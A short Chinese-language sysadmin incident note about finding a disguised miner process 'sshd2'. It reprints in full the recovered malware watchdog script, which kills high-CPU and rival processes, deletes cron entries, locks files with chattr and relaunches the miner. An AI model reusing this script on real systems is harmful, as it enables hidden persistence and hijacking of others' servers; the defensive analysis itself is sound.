遇到一台機器偶爾cpu使用率達到80%,觸發告警。登錄查看后一個sshd2程序導致cpu負載高
仔細查看就知道和sshd是兩個完全不同的進程,取名sshd2應該只是為了迷惑用戶
ps -ef
查看到父進程是一個/tmp/javax/config.sh, 這個文件在當前系統已經刪除了,所以只能按照pid號通過lsof -p PID查看打開的文件句柄
在/proc/PID/fd里面順利找到執行腳本
#!/bin/sh
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
while [ 1 ]
do
p=$(ps auxf|grep -v grep|grep sshd2|wc -l)
if [ ${p} -eq 0 ];
then
ps auxf|grep -v grep | awk '{if($3>=80.0) print $2}'| xargs kill -9
fi
chattr -i /var/spool/cron/root
chattr -i /var/spool/cron/crontabs/root
chattr -i /usr/local/bin/dns
pkill 6Tx3Wq
rm -f /tmp/6Tx3Wq
killall -9 38c985b26d38da0cbcc9f8ae3527e8e3b
killall -9 /tmp/.sysinfo/*
rm -f /tmp/.sysinfo/*
chattr +i /tmp/.sysinfo
rm -f /var/spool/cron/root
rm -f /var/spool/cron/backup.db
rm -f /var/spool/cron/dump.rdb
rm -f /var/spool/cron/jw
rm -f /var/spool/cron/uo
rm -f /var/spool/cron/vf
rm -f /tmp/root
rm -f /tmp/backup.db
rm -f /tmp/dump.rdb
rm -f /tmp/root
rm -f /var/spool/cron/crontabs/root
rm -f /var/spool/cron/crontabs/dump.rdb
killall -9 kworkerds
chattr -i /etc/cron.d/root
chattr -i /etc/cron.d/apache
chattr -i /etc/cron.d/0hourly
rm -f /etc/cron.d/root
rm -f /etc/cron.d/apache
rm -f /etc/cron.d/0hourly
rm -f /tmp/kworkerds
rm -f /var/tmp/kworkerds
rm -f /etc/cron.hourly/oanacroner
rm -f /etc/cron.hourly/oanacrona
rm -f /etc/cron.daily/oanacroner
rm -f /etc/cron.daily/oanacrona
rm -f /etc/cron.monthly/oanacroner
rm -f /usr/local/bin/dns
pkill .systemcero
pkill vTtHH
pkill -f /tmp/just4root
pkill -f /tmp/just4copy
pkill -f /tmp/dc_name
pkill x7
pkill cloudupdate
pkill diskmanagerd
pkill curl
pkill jspserv
pkill init
pkill sysupdate
pkill sysguard
pkill networkservice
pkill watchbog
rm -f /usr/share/watchbog/watchbog
rm -f /bin/httpsntp
rm -f /bin/ftpsntp
rm -f /tmp/.systemcero
rm -f /tmp/vTtHH
rm -f /usr/bin/.systemcero
rm -f /usr/bin/cloudupdate
rm -f /usr/bin/diskmanagerd
rm -f /lib/libterminfo.so
rm -f /tmp/config.json
rm -f /var/tmp/jspserv
rm -f /etc/update.sh
chattr -i /etc/sysupdate
rm -f /etc/sysupdate
rm -f /etc/config.json
echo >/tmp/6Tx3Wq
echo >/tmp/vTtHH
chattr +i /tmp/6Tx3Wq
chattr +i /tmp/vTtHH
p=$(ps auxf|grep sshd2|awk '{if($3>=70.0) print $2}')
name=""$p
if [ -z "$name" ]
then
ps auxf|grep -v grep | awk '{if($3>=80.0) print $2}'| xargs kill -9
nohup /tmp/javax/sshd2 &>>/dev/null &
else
:
fi
sleep 60
done
從腳本的刪除動作來看,可能是通過redis的漏洞進來的,腳本似乎還想努力不讓監控發現
修復方案
時間短,修復不是我來操作的。初步並沒有發現隱藏的激活方式,所以按照上面腳本的內容反向處理一下應該就可以了,注意防范redis的漏洞。